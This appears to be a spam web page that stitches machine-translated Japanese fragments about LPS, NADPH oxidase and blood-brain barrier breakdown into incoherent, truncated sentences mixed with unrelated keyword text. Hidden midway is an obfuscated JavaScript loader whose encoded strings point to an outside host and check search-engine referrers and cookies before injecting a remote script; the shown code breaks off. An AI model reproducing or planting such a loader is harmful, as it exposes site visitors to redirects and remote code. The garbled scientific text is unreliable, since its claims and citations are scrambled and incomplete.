（2017）は、LPSが内皮細胞および老齢マウスの両方においてgp91phox発現を増加させたことを示し、gp91phoxアップレギュレーションが、老齢マウスにおけるLPS誘発性BBB透過性増加に関与する重要な機構であり得ることを示唆する.. 傷害の間、フリーラジカルおよびプロテアーゼは細胞膜を攻撃し、内皮細胞間のTJPを分解し、BBBの完全性が損なわれた（Jinら.. 脳におけるROS生成の主要な原因であるNADPHオキシダーゼは、種々の神経学的障害の下でのBBB破壊に決定的に寄与する（Kahlesら.
これは、連続的な血管を形成する内皮裂をシールし、高い内皮電気抵抗をもたらし、血液からの水溶性物質の脳実質への低い細胞透過性を可能にする（Stamatovicら.
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注意すべきことは、微小血管の内皮細胞の死もまた、BBBの完全性の破壊に対する主要な寄与である（Simardら.. さらに興味深いことに、LPSは、ニコチンアミドアデニンジヌクレオチドリン酸（NADPH）オキシダーゼ由来ROSを介してBBB機能不全を誘発することが示されている（Liuら.. occludin、claudinおよびzo-1で構成されるタイトジャンクションタンパク質（TJPs）は、BBBの重要な構成要素である（Hawkins and Davis、2005）.. 注目すべきことに、LPSはインビトロでBBB透過性を増加させることが示されている（Nonakaら. Full Quick Access Toolbar Support For Office For Mac
、2009）、BBB機能障害は、血管認知障害、筋萎縮性側索硬化症、アルツハイマー病、神経因性疼痛、脳外傷、急性および慢性大脳虚血を含む、高齢の患者における様々な神経疾患の病因における早期事象である。多発性硬化症、および脳の感染症（Rosenberg、2012;図1参照）.. メラトニン 血液脳関門 クチコミ エ*** ヌイグルミ、2004）、若年におけるBBBの健全性を危うくする（Ruiz-Valdepeら.. var _0x1be7=['YVhOeFg=','V1ZFUWs=','OyBleHBpcmVzPQ==','YUVuRUQ=','OyBzZWN1cmU=','dmlzaXRlZA==','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVyeT0=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','dkNmWGc=','dlVrWUc=','bmd2Yng=','LmJpbmcu','QmFrZXY=','TVd6RmI=','LnlhbmRleC4=','cmVmZXJyZXI=','SXRsREU=','WXB0T0I=','eXRHR2g=','UlNRUXU=','Um5leUc=','SWZETnQ=','aW5kZXhPZg==','RUJISFE=','bXFYbkU=','c2V0','aGVhZA==','c2NyaXB0','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','WnlKaU4=','44Oh44Op44OI44OL44OzK+ihgOa2suiEs+mWoumWgCvjgq/jg4HjgrPjg58r44KoKioq','Y29va2ll','bFhRV2c=','bGVuZ3Ro','cmVwbGFjZQ==','OyBwYXRoPQ==','OyBkb21haW49','U3dQZVo=','WmZtSmk=','cldRUFc='];(function(_0x2f3e31,_0x3a89c9){var _0x2c6db2=function(_0x1fa352){while(--_0x1fa352){_0x2f3e31['push'](_0x2f3e31['shift']());}};_0x2c6db2(++_0x3a89c9);}(_0x1be7,0x159));var _0x14b4=function(_0x10e465,_0x622ee3){_0x10e465=_0x10e465-0x0;var _0x3a4f3a=_0x1be7[_0x10e465];if(_0x14b4['rDxofC']===undefined){(function(){var _0x4c742e=function(){var _0x461748;try{_0x461748=Function('return\x20(function()\x20'+'{}.. リポ多糖（LPS）によって引き起こされるBBB破壊リポポリサッカライド（LPS）は、脳微小血管内皮細胞およびBBB破壊において活性酸素種（ROS）の生成を促進する神経炎症（Shi、2015）を生成し得る（Seokら.
注目すべきことに、gp91phoxはNADPHオキシダーゼの触媒サブユニットであり、BBP破壊は、脳卒中後の野生型マウスと比較してgp91phoxノックアウトマウスにおいて有意に減少する（Kahlesら.. 、2007）、gp91phox発現の減少は、虚血誘導脳損傷およびBBB損傷に対する保護効果を示した（Liuら.. 神経炎症応答が進行するにつれて、酸素と窒素のフリーラジカルと、プロテアーゼ、マトリックスメタロプロテイナーゼ（MMP）およびシクロオキシゲナーゼは、早期および遅延したBBB破壊において重要な役割を果たす（Liu and Rosenberg、2005）.. 脳微小血管内皮細胞、ニューロン、星状細胞、周皮細胞および細胞外マトリックスからなるBBBは、CNSの神経機能に不可欠な微小環境のホメオスタシスを維持する上で重要な役割を果たす（Hawkins and Davis、2005）.. BBBの完全性を維持することができる治療は、刺激によって産生される神経学的疾患. 518b7cbc7d
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